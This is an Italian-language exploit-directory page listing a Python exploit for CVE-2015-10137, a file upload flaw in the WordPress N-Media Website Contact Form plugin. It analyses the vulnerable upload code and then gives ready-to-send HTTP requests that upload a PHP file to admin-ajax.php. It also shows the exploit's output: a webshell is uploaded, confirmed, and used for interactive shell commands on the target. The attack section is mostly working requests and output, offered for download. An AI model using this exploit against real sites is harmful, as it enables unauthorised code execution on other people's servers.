Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
-CVE-2015-10137-WordPress-N-Media-Website-Contact-Form-with-File-Upload-1.3.4 — Exploit in Python per CVE-2015-10137 che prende di mira una vulnerabilità di caricamento arbitrario di file nel plugin WordPress N-Media Website Contact Form, consentendo l'esecuzione remota di WebShell. | Kitploit
Strumenti/GitHubGitHub/kai-one001/-cve-2015-10137-wordpress-n-media-website-contact-form-with-file-upload-1.3.4
Generazione di PayloadAnalisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubkai-one001/-cve-2015-10137-wordpress-n-media-website-contact-form-with-file-upload-1.3.4

-CVE-2015-10137-WordPress-N-Media-Website-Contact-Form-with-File-Upload-1.3.4

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Exploit in Python per CVE-2015-10137 che prende di mira una vulnerabilità di caricamento arbitrario di file nel plugin WordPress N-Media Website Contact Form, consentendo l'esecuzione remota di WebShell.

Vedi Repository
11 anno faNon ancora revisionato

WordPress N-Media Website Contact Form with File Uploader Analisi della vulnerabilità di upload file

1. Analisi del codice della vulnerabilità

File del plugin: classes/plugin.class.php, metodo: upload_file()

root@kitploit:~
function upload_file() {
    // ...
    if (! empty ( $_FILES )) {
        $tempFile = $_FILES ['Filedata'] ['tmp_name'];
        $targetPath = $dirPath;
        $new_filename = strtotime ( "now" ) . '-' . preg_replace ( "![^a-z0-9.]+!i", "_", $_FILES ['Filedata'] ['name'] );
        $targetFile = rtrim ( $targetPath, '/' ) . '/' . $new_filename;
        $type = strtolower ( substr ( strrchr ( $new_filename, '.' ), 1 ) );
        if (move_uploaded_file ( $tempFile, $targetFile )) {
            if (($type == "gif") || ($type == "jpeg") || ($type == "png") || ($type == "pjpeg") || ($type == "jpg"))
                $this->create_thumb ( $targetPath, $new_filename, $thumb_size );
            $response ['status'] = 'uploaded';
            $response ['filename'] = $new_filename;
        }
        // ...
    }
    // ...
}

Flusso di caricamento file normale

  • L'utente carica un file tramite form o API, il campo si chiama Filedata.
  • Il file viene salvato nella directory specificata, il nome del file viene solo soggetto a una semplice sostituzione di caratteri e al prefisso del timestamp.
  • Per i tipi di immagine (jpg/png/gif ecc.) viene generata una miniatura.
  • Gli altri tipi di file vengono salvati direttamente, senza controllo del tipo/contenuto.

Flusso di caricamento file malevolo

  • L'attaccante può caricare file con qualsiasi estensione (ad es. .php, .txt, .phtml), senza validazione whitelist.
  • Finché esiste l'estensione, il contenuto del file non viene controllato e viene salvato direttamente.
  • Se il server web supporta l'elaborazione dei file PHP nella directory di upload, è possibile eseguire direttamente una webshell remota.

2. Causa della vulnerabilità

  • Mancanza di validazione whitelist dei tipi di file: viene determinato il tipo di immagine solo dall'estensione per generare la miniatura, senza limitare i tipi di file consentiti per l'upload.
  • Mancata verifica del tipo MIME/contenuto del file: non viene verificato se il contenuto effettivo del file corrisponde all'estensione.
  • Directory di upload accessibile via web: ad esempio, la directory /wp-content/uploads/contact_files/ è accessibile via web e supporta l'elaborazione PHP, quindi l'attaccante può accedere direttamente ai file malevoli caricati.

3. Metodo di sfruttamento dell'attacco

Pacchetto HTTP completo per il caricamento di file normali e malevoli

1. Caricamento di un'immagine PNG normale

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=nm_webcontact_upload_file HTTP/1.1
Host: 你的站点
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: <自动计算>

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="Filedata"; filename="test.png"
Content-Type: image/png

<这里是PNG文件的二进制内容>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

2. Caricamento di un file TXT normale

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=nm_webcontact_upload_file HTTP/1.1
Host: 你的站点
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: <自动计算>

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="Filedata"; filename="test.txt"
Content-Type: text/plain

hello, this is a test txt file.
------WebKitFormBoundary7MA4YWxkTrZu0gW--

3. Caricamento di un PHP malevolo

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=nm_webcontact_upload_file HTTP/1.1
Host: 你的站点
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: <自动计算>

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="Filedata"; filename="shell.php"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

4. Script Python

root@kitploit:~

例如:
python EXP.py -u http://192.168.63.131:8081/

  ______     ______     ______     ______     ______
 /_____/\   /_____/\   /_____/\   /_____/\   /_____/\
 \:::_ \ \  \:::_ \ \  \:::_ \ \  \:::_ \ \  \:::_ \ \
  \:(_) ) |  \:\ ) ) |  \:\ ) ) |  \:\ ) ) |  \:\ ) ) |
   \: __ `\   \:() (|   \:() (|    \:() (|    \:() (|
    \ \ `\ \   \:\_/ \    \:\_/ \    \:\_/ \    \:\_/ \
     \_\/ \_\   \_____/\   \_____/\   \_____/\   \_____/\

[+] 目标地址:http://192.168.63.131:8081/
[+] 正在尝试上传 WebShell...
[+] WebShell 上传成功,正在提取文件名...
[+] WebShell 地址为:http://192.168.63.131:8081//wp-content/uploads/contact_files/1753257322-download.php
[+] 正在验证 WebShell 是否可用...
[+] 验证成功,WebShell 可用!
[+] 进入交互式 Shell 模式(输入 exit 退出)
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> pwd
/var/www/html/wp-content/uploads/contact_files
shell> exit
[*] 退出 Shell,再见!
Scarica lo strumento